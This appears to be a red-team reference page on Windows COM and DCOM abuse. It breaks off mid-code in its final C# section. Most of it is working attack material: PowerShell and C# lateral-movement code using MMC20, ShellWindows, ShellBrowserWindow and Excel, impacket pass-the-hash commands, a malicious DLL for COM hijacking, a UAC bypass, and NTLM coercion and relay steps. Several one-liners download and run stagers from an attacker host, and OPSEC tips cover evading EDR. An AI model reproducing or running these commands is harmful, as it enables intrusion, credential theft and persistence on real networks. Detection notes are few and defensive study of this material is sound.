ᛉ Yggdrasil

Windows

COM & DCOM Attacks

17 Sep 2026 · 5,930 words · 27 min

Contents

Legend: [LOCAL] = Local attack | [REMOTE] = Remote/lateral movement | [PERSIST] = Persistence technique | [CRED] = Credential theft | [EXEC] = Code execution | [ENUM] = Enumeration | [OPSEC] = Operational security note | [DETECT] = Detection vector | [EVASION] = Evasion technique | [TOOL] = Tool reference | [MITRE] = ATT&CK mapping


1. COM & DCOM — Internals for Red Teamers

What it is: COM (Component Object Model) is a Windows binary interface standard that allows software components to talk to each other — regardless of language. DCOM (Distributed COM) extends this across the network over RPC. Red teamers exploit both for code execution, lateral movement, persistence, and credential theft — all using legitimate Windows internals.

1.1 Core Architecture

COM Object Architecture:
┌────────────────────────────────────────────────────┐
│                   COM Client                       │
│  (attacker's PowerShell / C# / Python)             │
└──────────────────┬─────────────────────────────────┘
                   │ CoCreateInstance() / Activator::CreateInstance()
                   ▼
┌────────────────────────────────────────────────────┐
│          Service Control Manager (SCM)             │
│  Resolves CLSID → looks up registry               │
│                                                    │
│  Registry lookup order:                            │
│  1. HKCU\Software\Classes\CLSID\{...}  ← attacker │
│  2. HKLM\Software\Classes\CLSID\{...}  ← legit    │
└──────────────────┬─────────────────────────────────┘
                   │
                   ▼
┌────────────────────────────────────────────────────┐
│              COM Server (DLL / EXE)                │
│  In-process:  DLL loaded into caller's space       │
│  Out-of-process: Separate process (EXE)            │
│  Service: Hosted in svchost / dedicated service    │
└────────────────────────────────────────────────────┘

1.2 Key Identifiers

Term What It Is Example
CLSID Class Identifier — unique GUID for a COM class {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
ProgID Human-readable alias for CLSID MMC20.Application.1
AppID Application Identifier — security/config settings {7e0423cd-1119-0928-900c-e6d4a52a0715}
IID Interface Identifier — unique GUID for interface IID_IDispatch, IID_IUnknown
IUnknown Base interface for ALL COM objects QueryInterface(), AddRef(), Release()
IDispatch Late-binding interface (used by scripting) Invoke(), GetIDsOfNames()

1.3 How DCOM Works Remotely

ATTACKER (10.0.0.5)                    VICTIM (10.0.0.2)
────────────────────────────────────────────────────────
[1] Client calls GetTypeFromProgID() → resolves ProgID
    or GetTypeFromCLSID() → resolves CLSID

[2] DCOM activation request sent over RPC → port 135
    (DCOM endpoint mapper resolves dynamic RPC port)

[3] Victim's SCM creates/connects to COM object
    (runs in security context of registered user / Interactive User)

[4] Client gets interface pointer (OBJREF) back

[5] Client calls methods on the remote object
    → commands execute on the victim

Network requirements:
    TCP 135          — RPC endpoint mapper (always required)
    TCP 49152-65535  — dynamic RPC range (for actual DCOM calls)
    TCP 445          — SMB (needed ONLY to retrieve output)

1.4 Security Architecture — What DCOM Checks

DCOM Access Control Layers:
┌─────────────────────────────────────────────────────────┐
│ 1. Machine-wide DCOM access permissions                 │
│    HKLM\SOFTWARE\Microsoft\Ole → DefaultLaunchPermission│
│    Must include attacker's user/group                   │
│                                                         │
│ 2. Application-level launch/access permissions          │
│    Per-AppID in registry or dcomcnfg                    │
│                                                         │
│ 3. Firewall — ports 135 + dynamic RPC must be open      │
│    Windows Firewall blocks DCOM between workstations    │
│    by default (server-to-server usually allowed)        │
│                                                         │
│ 4. Authentication — requires valid credentials          │
│    (local admin or explicit DCOM ACL grant)             │
└─────────────────────────────────────────────────────────┘

[OPSEC] Local admin on target = DCOM lateral movement usually works.
        Domain Admin = always works (if firewall permits).

1.5 Registry Locations

# COM objects registered machine-wide
HKLM\SOFTWARE\Classes\CLSID\{CLSID}\
    InprocServer32 → DLL path (in-process)
    LocalServer32  → EXE path (out-of-process)
    ProgID         → Human-readable name

# COM objects registered per-user (ATTACKER'S ENTRY POINT for hijacking)
HKCU\SOFTWARE\Classes\CLSID\{CLSID}\
    InprocServer32 → Malicious DLL path

# AppID security settings (DCOM configs)
HKLM\SOFTWARE\Classes\AppID\{AppID}\
    RunAs          → "Interactive User" / "Network Service" / username
    LaunchPermission / AccessPermission

2. Enumeration — Finding Targets

2.1 Enumerate All DCOM Applications on Local System

# List all DCOM applications (name + AppID)
Get-CimInstance Win32_DCOMApplication | Select-Object Name, AppID

# Filter to find juicy ones
Get-CimInstance Win32_DCOMApplication | Where-Object {
    $_.Name -match "Shell|MMC|Excel|Word|Outlook|Visio"
} | Select-Object Name, AppID

# Check specific DCOM object details
Get-CimInstance Win32_DCOMApplication -Filter "Name LIKE '%shell%'"

2.2 Find DCOM Objects with Remote Access Permissions

# Query DCOM objects that allow remote access
Get-CimInstance Win32_DCOMApplicationSetting | Select-Object Caption, AppID, AuthenticationLevel, ImpersonationLevel | Format-Table

# Find objects running as specific users
Get-CimInstance Win32_DCOMApplicationSetting | Where-Object { $_.RunAsUser -ne $null }

2.3 Enumerate via Registry (Manual)

# Browse all registered CLSIDs
Get-ChildItem 'HKLM:\SOFTWARE\Classes\CLSID\' | Select-Object Name | Out-GridView

# Check a specific CLSID
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

# Find CLSIDs with LocalServer32 (out-of-process — safer to hijack)
Get-ChildItem 'HKLM:\SOFTWARE\Classes\CLSID\' | 
    Where-Object { Test-Path "$($_.PSPath)\LocalServer32" } |
    Select-Object Name

# Check ShellWindows CLSID
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

2.4 OleView .NET — GUI Enumeration Tool [TOOL]

Tool: OleViewDotNet by James Forshaw
Repo: https://github.com/tyranid/oleviewdotnet

Use for:
- Browse all CLSIDs, ProgIDs, AppIDs
- View interface methods on a COM object
- Create instances and invoke methods interactively
- Find remotely activatable objects (DCOM candidates)
- Identify missing InprocServer32 paths (hijacking targets)

Usage (PowerShell):
OleViewDotNet.exe
→ View → CLSIDs → right-click → Create Instance
→ View → AppIDs → inspect Launch/Access permissions

2.5 Network Port Check Before DCOM Attack

# Test RPC endpoint mapper reachability
Test-NetConnection -ComputerName 10.10.10.10 -Port 135

# Test SMB (needed for output retrieval with impacket)
Test-NetConnection -ComputerName 10.10.10.10 -Port 445

# Full test
$target = "10.10.10.10"
foreach ($port in @(135, 445, 5985)) {
    $result = Test-NetConnection -ComputerName $target -Port $port -WarningAction SilentlyContinue
    Write-Host "Port $port : $(if ($result.TcpTestSucceeded) {'OPEN'} else {'CLOSED'})"
}

3. DCOM Lateral Movement — MMC20.Application

[REMOTE] [EXEC] [MITRE] T1021.003

What it is: MMC20.Application is a COM object for Microsoft Management Console. It exposes a Document.ActiveView.ExecuteShellCommand() method that allows remote command execution. Discovered by Matt Nelson (@enigma0x3, 2017). This is the OG DCOM lateral movement technique.

AppID: 7e0423cd-1119-0928-900c-e6d4a52a0715
CLSID: 49B2791A-B1AE-4C90-9B8E-E860BA07F889

3.1 Basic Execution — PowerShell

# Step 1: Instantiate MMC20.Application on the remote host
$target = "10.0.0.2"
$a = [System.Activator]::CreateInstance(
    [type]::GetTypeFromProgID("MMC20.Application.1", $target)
)

# Step 2: Execute command via ActiveView
# Signature: ExecuteShellCommand(Command, Directory, Parameters, WindowState)
# WindowState: "7" = minimized/hidden
$a.Document.ActiveView.ExecuteShellCommand(
    "cmd.exe",
    $null,
    "/c whoami > C:\Windows\Temp\out.txt",
    "7"
)

# Step 3: Read output (if you have SMB access)
Start-Sleep 2
$result = Get-Content "\\$target\C$\Windows\Temp\out.txt"
Write-Host $result

3.2 Execute Payload (Reverse Shell / Beacon)

$target = "10.0.0.2"
$payload = "C:\Windows\Temp\beacon.exe"  # pre-staged on target

$a = [System.Activator]::CreateInstance(
    [type]::GetTypeFromProgID("MMC20.Application.1", $target)
)

# Launch staged beacon
$a.Document.ActiveView.ExecuteShellCommand(
    $payload,
    $null,
    "",
    "7"
)

3.3 Drop and Execute — Full Chain

$target    = "10.0.0.2"
$localPayload  = "C:\red\beacon.exe"
$remoteDrop    = "\\$target\C$\Windows\Temp\svc_update.exe"
$remoteExec    = "C:\Windows\Temp\svc_update.exe"

# Step 1: Copy payload via SMB
Copy-Item $localPayload $remoteDrop

# Step 2: Instantiate DCOM
$a = [System.Activator]::CreateInstance(
    [type]::GetTypeFromProgID("MMC20.Application.1", $target)
)

# Step 3: Execute
$a.Document.ActiveView.ExecuteShellCommand($remoteExec, $null, "", "7")

Write-Host "[+] Payload executed on $target"

3.4 What Happens on Victim

Process tree on victim:
svchost.exe (DcomLaunch)
    └─ mmc.exe              ← created by DCOM activation
           └─ cmd.exe        ← spawned by ExecuteShellCommand
                  └─ beacon.exe

Network: Victim opens RPC port, attacker calls in over dynamic RPC
Event: Microsoft-Windows-DCOM-Server: Source=MMC20.Application

[OPSEC] mmc.exe spawning cmd.exe is flagged by most EDRs. Use a staged loader that masquerades as a legit child process instead.

[DETECT] Look for: svchost → mmc.exe → cmd.exe process chain. Event ID 4688 (process creation), DCOM event log.


4. DCOM Lateral Movement — ShellWindows

[REMOTE] [EXEC] [MITRE] T1021.003

What it is: ShellWindows represents a collection of open Windows Explorer windows. Hosted by explorer.exe. Exposes Document.Application.ShellExecute() — which is a full shell execution primitive. Attacker communicates directly with the existing explorer.exe process.

CLSID: 9BA05972-F6A8-11CF-A442-00A0C90A8F39

4.1 PowerShell Execution

$target = "10.0.0.2"

# Instantiate via CLSID (ShellWindows is a collection — access index [0])
$shell = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", $target)
)

# Execute command (windowStyle=7 = hidden)
$shell[0].Document.Application.ShellExecute(
    "cmd.exe",
    "/c whoami > C:\Windows\Temp\sw_out.txt",
    "C:\Windows\System32",
    $null,
    7
)

4.2 Execute Payload

$target = "10.0.0.2"

$shell = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", $target)
)

# Launch beacon
$shell[0].Document.Application.ShellExecute(
    "C:\Windows\Temp\payload.exe",
    "",
    "C:\Windows\Temp",
    $null,
    7
)

4.3 PowerShell Stager (Fileless)

$target = "10.0.0.2"
$c2url  = "http://10.0.0.5:8080/payload.ps1"

$shell = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", $target)
)

# Fileless PowerShell download-exec
$cmd = "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('$c2url')"

$shell[0].Document.Application.ShellExecute(
    "cmd.exe",
    "/c $cmd",
    "C:\Windows\System32",
    $null,
    7
)

4.4 ShellWindows — Process Ancestry

Process tree on victim:
explorer.exe        ← ShellWindows hosted here
    └─ cmd.exe       ← spawned by ShellExecute call
           └─ payload.exe

[OPSEC] Better than MMC20 because explorer.exe spawning
        processes is far more common and less suspicious.

5. DCOM Lateral Movement — ShellBrowserWindow

[REMOTE] [EXEC] [MITRE] T1021.003

What it is: ShellBrowserWindow is similar to ShellWindows but interfaces directly with the Windows shell. No .Item() call needed — you call ShellExecute() directly on the object. More reliable on Windows 10+ and Server 2012R2+.

CLSID: C08AFD90-F2A1-11D1-8455-00A0C91F3880

5.1 PowerShell Execution

$target = "10.0.0.2"

# ShellBrowserWindow — no [0] index needed
$sbw = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", $target)
)

# Execute command
$sbw.Document.Application.ShellExecute(
    "cmd.exe",
    "/c (whoami & hostname & ipconfig) > C:\Windows\Temp\sbw_out.txt",
    "C:\Windows\System32",
    $null,
    7
)

5.2 C# Implementation

using System;
using System.Runtime.InteropServices;

class DCOMExec {
    static void Main(string[] args) {
        string target  = "10.0.0.2";
        string command = "C:\\Windows\\Temp\\beacon.exe";
        string clsid   = "C08AFD90-F2A1-11D1-8455-00A0C91F3880";

        // Resolve type from CLSID on remote host
        Type comType = Type.GetTypeFromCLSID(
            new Guid(clsid),
            target,
            true  // throwOnError
        );

        // Create instance on remote host
        object obj = Activator.CreateInstance(comType);

        // Navigate to ShellExecute: obj.Document.Application.ShellExecute(...)
        object doc = obj.GetType().InvokeMember(
            "Document",
            System.Reflection.BindingFlags.GetProperty,
            null, obj, null
        );
        object app = doc.GetType().InvokeMember(
            "Application",
            System.Reflection.BindingFlags.GetProperty,
            null, doc, null
        );
        app.GetType().InvokeMember(
            "ShellExecute",
            System.Reflection.BindingFlags.InvokeMethod,
            null, app,
            new object[] { command, "", "C:\\Windows\\System32", null, 0 }
        );

        Console.WriteLine("[+] Executed on " + target);
    }
}

6. DCOM Lateral Movement — Excel.Application & DDE

[REMOTE] [EXEC] [MITRE] T1021.003

What it is: Excel's COM object exposes ExecuteExcel4Macro() — an old Excel 4.0 (XLM) macro function that executes shell commands. Runs inside excel.exe (not cmd.exe). Minimal process ancestry noise. XLM macros are often less flagged by AV than VBA.

6.1 PowerShell — Excel DDE

$target = "10.0.0.2"

# Instantiate Excel on remote host
$excel = [Activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", $target)
)

# Execute via XLM macro — EXEC() is the XLM shell function
$excel.ExecuteExcel4Macro('EXEC("cmd.exe /c calc.exe")')

# More useful: run a stager
$excel.ExecuteExcel4Macro('EXEC("cmd.exe /c powershell -nop -w h -c IEX(IRM http://10.0.0.5/s.ps1)")')

# Cleanup
$excel.Quit()

6.2 C# — Excel COM via InvokeMember

using System;
using System.Reflection;

class ExcelDCOM {
    static void Main(string[] args) {
        string REMOTE_HOST = "10.0.0.2";
        string CMD = "EXEC(\"cmd.exe /c C:\\Windows\\Temp\\payload.exe\")";

        // Get Excel COM type on the remote system
        Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
        if (ComType == null) {
            Console.WriteLine("[-] Excel not found on target");
            return;
        }

        // Instantiate
        object excel = Activator.CreateInstance(ComType);

        // Execute XLM macro — runs inside excel.exe
        excel.GetType().InvokeMember(
            "ExecuteExcel4Macro",
            BindingFlags.InvokeMethod,
            null,
            excel,
            new object[] { CMD }
        );

        Console.WriteLine("[+] XLM macro executed via DCOM");
    }
}

6.3 Process Tree (Excel DDE)

Process tree on victim:
svchost.exe (DcomLaunch)
    └─ excel.exe          ← created by DCOM activation
           └─ cmd.exe      ← spawned inside excel by EXEC()
                  └─ payload.exe

[OPSEC] Advantage: cmd.exe parent is excel.exe, not mmc.exe/svchost
        which looks less suspicious but still flagged by EDRs watching
        Office macro execution patterns.

7. DCOM via Impacket (Linux → Windows)

[REMOTE] [EXEC] [TOOL] [MITRE] T1021.003

What it is: Impacket's dcomexec.py provides a semi-interactive shell using DCOM over the network from a Linux attacker host. No Windows machine needed. Supports three DCOM objects: MMC20, ShellWindows, ShellBrowserWindow.

7.1 Basic Usage

# Default object (ShellWindows)
python3 dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET_IP'

# Specify object explicitly
python3 dcomexec.py -object MMC20 'domain/user:pass'@10.10.10.10

python3 dcomexec.py -object ShellWindows 'domain/user:pass'@10.10.10.10

python3 dcomexec.py -object ShellBrowserWindow 'domain/user:pass'@10.10.10.10

# Blind execution (no SMB output — use when port 445 is blocked)
python3 dcomexec.py -object ShellBrowserWindow -nooutput \
    'domain/user:pass'@10.10.10.10 'cmd.exe /c C:\Windows\Temp\payload.exe'

# Using NTLM hash (Pass-the-Hash)
python3 dcomexec.py -object MMC20 \
    -hashes :aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 \
    'domain/user'@10.10.10.10

# Kerberos authentication
python3 dcomexec.py -k -no-pass -object ShellWindows \
    'domain/user'@dc01.domain.local

# Execute a single command and exit
python3 dcomexec.py 'domain/user:pass'@10.10.10.10 \
    "cmd.exe /c whoami /all > C:\Windows\Temp\whoami.txt"

7.2 Full Impacket DCOM Attack Chain

# Step 1: Validate connectivity
python3 rpcdump.py 'domain/user:pass'@10.10.10.10 | grep DCOM

# Step 2: Check SMB access (needed for output)
python3 smbclient.py 'domain/user:pass'@10.10.10.10

# Step 3: Drop payload via SMB
python3 smbclient.py 'domain/user:pass'@10.10.10.10 -c "put beacon.exe Windows/Temp/svchost.exe"

# Step 4: Execute via DCOM
python3 dcomexec.py -object ShellBrowserWindow -nooutput \
    'domain/user:pass'@10.10.10.10 \
    'cmd.exe /c C:\Windows\Temp\svchost.exe'

# Alternative: one-liner download + exec
python3 dcomexec.py -object MMC20 'domain/user:pass'@10.10.10.10 \
    "powershell -nop -w h -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/stager.ps1')"

7.3 How dcomexec.py Works Internally

impacket dcomexec.py flow:
─────────────────────────────────────────────────────────
1. SMB auth → establish session (for output retrieval)
2. RPC/DCOM → CoCreateInstanceEx on target CLSID
3. Get IDispatch interface pointer back
4. Invoke ShellExecute or ExecuteShellCommand method:
      cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1
   ↑ This is why SMB/ADMIN$ access is needed for output
5. Read output file from ADMIN$ share via SMB
6. Display output → loop for next command

CLSID used by default:
  ShellWindows:      {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
  ShellBrowserWindow:{C08AFD90-F2A1-11D1-8455-00A0C91F3880}
  MMC20.Application: {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
─────────────────────────────────────────────────────────

[DETECT] The ADMIN$\__ prefix temp files are a well-known impacket artifact. Windows Defender flags them. Use -nooutput or redirect output elsewhere.


8. COM Hijacking — Persistence Without Admin

[PERSIST] [EXEC] [LOCAL] [MITRE] T1546.015

What it is: COM hijacking abuses the Windows CLSID registry lookup order. HKCU is checked before HKLM. A normal user can write to HKCU — no admin needed. Plant a malicious DLL in HKCU pointing to your payload. When any process instantiates that COM object, your DLL loads in that process's context.

8.1 Lookup Order (The Attack Surface)

Windows CLSID resolution order:
  1. HKCU\Software\Classes\CLSID\{CLSID}   ← writable by any user — PLANT HERE
  2. HKLM\Software\Classes\CLSID\{CLSID}   ← legit entry
  3. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WINLOGON

Attack logic:
  If entry exists in HKCU → Windows loads that DLL (no questions asked)
  Legit HKLM entry is never reached
  No admin required → No UAC prompt → Silent

8.2 Step 1 — Find Hijackable CLSIDs with Procmon

Tool: Sysinternals Process Monitor (Procmon)
Filter config:
  Path    → contains    → CLSID
  Result  → is          → NAME NOT FOUND
  Hive    → contains    → HKCU

This shows COM objects being requested but missing from HKCU.
These are your hijacking candidates.

Common high-value targets triggered by Explorer/Edge/Chrome:
  {B5F8350B-0548-48B1-A6EE-88BD397F74F4}  — CAutoComplete (Edge)
  {BCDE0395-E52F-467C-8E3D-C4579291692E}  — MMDeviceEnumerator
  {289AF617-1CC3-42A6-926C-E6A863F0E3BA}  — AudioEndpointVolume
  {AEB6717E-7E19-11d0-97EE-00C04FD91972}  — Shell link

8.3 Step 2 — Create Malicious DLL (C)

// malicious_com.c — DLL to load when COM object is hijacked
#include <windows.h>

void Payload() {
    // Option 1: Create a reverse shell process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA(NULL,
        "C:\\Windows\\Temp\\beacon.exe",
        NULL, NULL, FALSE,
        CREATE_NO_WINDOW,
        NULL, NULL, &si, &pi);
}

// Also forward calls to the real DLL for transparency (proxying)
void ForwardToLegitDLL() {
    // Load the original DLL
    HMODULE real = LoadLibraryA("C:\\Windows\\System32\\original.dll");
    // ... forward calls via GetProcAddress
}

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hDll);
        // Run payload in a separate thread to not block COM init
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Payload, NULL, 0, NULL);
    }
    return TRUE;
}
# Compile (cross-compile from Linux)
x86_64-w64-mingw32-gcc -shared -o malicious_com.dll malicious_com.c

8.4 Step 3 — Register Hijacked CLSID in HKCU

# Replace {TARGET-CLSID} with your chosen CLSID
$CLSID  = "{B5F8350B-0548-48B1-A6EE-88BD397F74F4}"
$DLLPath = "C:\Users\Public\malicious_com.dll"

# Create registry key in HKCU (no admin needed!)
$regPath = "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32"

New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)"    -Value $DLLPath
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Apartment"

Write-Host "[+] COM hijack registered: $CLSID → $DLLPath"
Write-Host "[*] Waiting for trigger process to invoke COM object..."

8.5 Verify Hijack

# Confirm HKCU entry exists
Get-ItemProperty "HKCU:\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD397F74F4}\InprocServer32"

# Check HKLM entry (the legit one you're overriding)
Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD397F74F4}\InprocServer32"

8.6 Cleanup (OPSEC)

# Remove the hijack
$CLSID = "{B5F8350B-0548-48B1-A6EE-88BD397F74F4}"
Remove-Item -Path "HKCU:\Software\Classes\CLSID\$CLSID" -Recurse -Force
Write-Host "[+] COM hijack removed"

8.7 Scheduled/Elevated Targets — DiskCleanup UAC Bypass

# DiskCleanup (cleanmgr.exe) runs elevated and uses CLSID hijack-vulnerable paths
# This gives you a UAC bypass + SYSTEM-context code execution

$CLSID = "{8369AB20-56C9-11D0-94E8-00AA0059CE02}"  # DiskCleanup handler
$DLLPath = "C:\Users\Public\bypass.dll"

# Register under HKCU (no UAC needed to write here)
$regPath = "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)"    -Value $DLLPath
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Apartment"

# Trigger cleanmgr (it auto-elevates and loads our DLL)
Start-Process cleanmgr.exe -ArgumentList "/autoclean"
# → DLL runs in elevated context

[OPSEC] COM hijacking is now well-detected by EDRs. Pair with proxy DLL (so the legit COM object still works), use a CLSID that's triggered infrequently, and clean up after.

[DETECT] Modern EDRs correlate: HKCU CLSID creation → DLL load → unsigned DLL in process = alert.


9. RemoteMonologue — NTLM Coercion via DCOM

[REMOTE] [CRED] [MITRE] T1187 (Forced Authentication)

What it is: A 2025 technique by IBM X-Force Red. Weaponizes DCOM objects to coerce NTLM authentication from a target machine to your listener — without deploying any payload. Completely fileless. Works by setting a UNC path in a DCOM object's property or method, which triggers the target to authenticate outbound to your SMB/LDAP listener.

Tool: https://github.com/xforcered/remotemonologue

9.1 The Mechanism

Attack flow (RemoteMonologue):
─────────────────────────────────────────────────────────
ATTACKER                              VICTIM (remote)
─────────────────────────────────────────────────────────
[1] Modify victim's DCOM config via RPC:
    HKLM\SOFTWARE\Classes\AppID\{GUID}\RunAs = "Interactive User"
    → DCOM object now runs as logged-in user

[2] Instantiate specific DCOM object on victim:
    ServerDataCollectorSet / FileSystemImage / UpdateSession

[3] Call method/set property with UNC path:
    DataManager.Extract("\\attacker-ip\share")   ← UNC trigger

[4] Victim machine authenticates to attacker's UNC path
    → NTLM hash captured by Responder / ntlmrelayx

[5] Relay or crack the hash offline
─────────────────────────────────────────────────────────

9.2 Exploitable DCOM Objects

DCOM Object CLSID Trigger Method
ServerDataCollectorSet {03837546-098B-11D8-9414-505054503030} DataManager.Extract("\\\\attacker\\share")
FileSystemImage {2C941FC5-975B-59BE-A960-9A2A262853A5} Set WorkingDirectory property to UNC path
UpdateSession {4CB43D7F-7EEE-4906-8698-60DA1C38F2FE} Method call with UNC path argument
MSTSWebProxy (varies) UNC path parameter

9.3 RemoteMonologue Tool Usage

# Clone and install
git clone https://github.com/xforcered/remotemonologue
cd remotemonologue
pip install -r requirements.txt

# NTLM coercion — trigger auth from victim to attacker listener
# Run Responder/ntlmrelayx first on attacker

# Step 1: Start listener
python3 /opt/Responder/Responder.py -I eth0 -dwv &
# OR
python3 ntlmrelayx.py -t ldap://dc01.domain.local --no-smb-server -smb2support

# Step 2: Run RemoteMonologue to coerce auth
python3 RemoteMonologue.py \
    -u domain/username \
    -p 'Password123' \
    -t 10.10.10.20 \
    -auth-to 10.0.0.5 \
    -dcom ServerDataCollectorSet

# NetNTLMv1 Downgrade (easier to crack — use when target allows)
python3 RemoteMonologue.py \
    -u domain/user -p 'Pass' \
    -t 10.10.10.20 \
    -auth-to 10.0.0.5 \
    -dcom FileSystemImage \
    -downgrade

# Credential spray across multiple targets
python3 RemoteMonologue.py \
    -u domain/user -p 'Pass' \
    -targets targets.txt \
    -auth-to 10.0.0.5 \
    -spray

9.4 Relay Captured Hash to LDAP

# Relay NTLM auth to LDAP → create a machine account → escalate
python3 ntlmrelayx.py \
    -t ldap://dc01.domain.local \
    --no-smb-server \
    --delegate-access \
    --escalate-user victim_machine$

# Then use machine account for RBCD / DCSync

[OPSEC] No payload dropped on victim. No process creation events. Very stealthy. Main detection vector is the registry change (RunAs key) and unusual DCOM activations.


10. COM Abuse — Code Execution via LOLBins

[LOCAL] [EXEC] [EVASION] [MITRE] T1218

What it is: Forcing trusted Windows LOLBins (iexplore.exe, mshta.exe, etc.) to load a malicious DLL or execute code through COM object abuse — bypassing application whitelisting and leaving clean process ancestry.

10.1 Force iexplore.exe to Load a DLL via COM

# iexplore.exe loads the DLL when the COM object is invoked
# Use OleViewDotNet to identify COM objects hosted by iexplore.exe

# Step 1: Create COM object hosted by iexplore.exe
$ie = New-Object -ComObject "InternetExplorer.Application"
$ie.Visible = $false
$ie.Navigate("about:blank")

# Step 2: Execute via Navigate (open a UNC .sct or local HTML with script)
$ie.Navigate("C:\Windows\Temp\payload.hta")

# More direct: via Shell
$ie.Navigate2("about:RunDLL32")

10.2 WScript.Shell via COM (Local Execution)

# WScript.Shell — COM object for shell execution
$wsh = New-Object -ComObject WScript.Shell
$wsh.Run("cmd.exe /c whoami", 0, $false)  # WindowStyle=0 (hidden)
$wsh.Run("C:\Windows\Temp\beacon.exe", 0, $false)

# Exec returns object you can wait on
$proc = $wsh.Exec("cmd.exe /c whoami")
$output = $proc.StdOut.ReadAll()
Write-Host $output

10.3 MSHTA via COM

# HTA COM object — executes HTA applications
# LethalHTA technique by @codewhitesec
$target = "10.0.0.2"
$htaUrl = "http://10.0.0.5/payload.hta"

$hta = [Activator]::CreateInstance(
    [type]::GetTypeFromProgID("htafile", $target)
)
# Navigate to remote HTA payload

10.4 pubprn.vbs via COM Object (Script Execution)

:: pubprn.vbs is a Microsoft-signed script that can execute arbitrary script
:: via COM — bypasses AppLocker / constrained language mode

:: Local execution
cscript //nologo C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs \
    127.0.0.1 script:http://10.0.0.5/payload.sct

:: The .sct file is an XML scriptlet executed by scrobj.dll (signed COM object)
<!-- payload.sct — XML Scriptlet (COM scriptlet file) -->
<?XML version="1.0"?>
<scriptlet>
    <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    </registration>
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c powershell -nop -w h -c IEX(IRM http://10.0.0.5/s.ps1)", 0, false);
        ]]>
    </script>
</scriptlet>

11. SharpCOM / SharpMove — C# Tooling

[REMOTE] [EXEC] [TOOL] [MITRE] T1021.003

SharpCOM: C# port of Invoke-DCOM. Designed for Cobalt Strike execute-assembly.
SharpMove: Multi-method lateral movement tool covering DCOM, WMI, and more.

11.1 SharpCOM Usage

# Repo: https://github.com/FOGSEC/SharpCOM
# Usage (via Cobalt Strike execute-assembly):

# ShellWindows method
beacon> execute-assembly /root/SharpCOM.exe \
    --Method ShellWindows \
    --ComputerName target.domain.local \
    --Command "C:\Windows\Temp\beacon.exe"

# ShellBrowserWindow method
beacon> execute-assembly /root/SharpCOM.exe \
    --Method ShellBrowserWindow \
    --ComputerName target.domain.local \
    --Command "powershell -ep bypass -c IEX(IRM http://c2/s.ps1)"

# MMC20 method
beacon> execute-assembly /root/SharpCOM.exe \
    --Method MMC20Application \
    --ComputerName target.domain.local \
    --Command "calc.exe"

# ExcelDDE method
beacon> execute-assembly /root/SharpCOM.exe \
    --Method ExcelDDE \
    --ComputerName target.domain.local \
    --Command "C:\Windows\Temp\payload.exe"

11.2 Invoke-DCOM PowerShell Script

# https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1

Import-Module .\Invoke-DCOM.ps1

# All supported methods:
Invoke-DCOM -ComputerName '10.0.0.2' -Method MMC20 -Command "C:\Windows\Temp\beacon.exe"
Invoke-DCOM -ComputerName '10.0.0.2' -Method ShellWindows -Command "calc.exe"
Invoke-DCOM -ComputerName '10.0.0.2' -Method ShellBrowserWindow -Command "notepad.exe"
Invoke-DCOM -ComputerName '10.0.0.2' -Method ExcelDDE -Command "C:\Windows\Temp\payload.exe"

# With alternate credentials
$cred = Get-Credential
Invoke-DCOM -ComputerName '10.0.0.2' -Method ShellWindows \
    -Command "C:\Windows\Temp\beacon.exe" -Credential $cred

11.3 SharpMove (Multi-method)

REM SharpMove.exe — DCOM + AMSI bypass
SharpMove.exe action=dcom ^
    computername=target.domain.local ^
    command="C:\windows\temp\payload.exe" ^
    method=ShellBrowserWindow ^
    amsi=true

REM Available methods for SharpMove:
REM   ShellWindows, ShellBrowserWindow, MMC20, ExcelDDE

12. C# Raw DCOM — Custom Implementation

[REMOTE] [EXEC] [LOCAL]

What it is: Writing DCOM lateral movement from scratch in C# without tools. Useful for custom C2 implant development, evading tool signatures, and understanding internals.

12.1 Generic DCOM Execution Template (C#)

using System;
using System.Runtime.InteropServices;
using System.Reflection;

namespace DCOMExec {

    class Program {
        static void Main(string[] args) {

            if (args.Length < 3) {
                Console.WriteLine("Usage: DCOMExec.exe <target> <method> <command>");
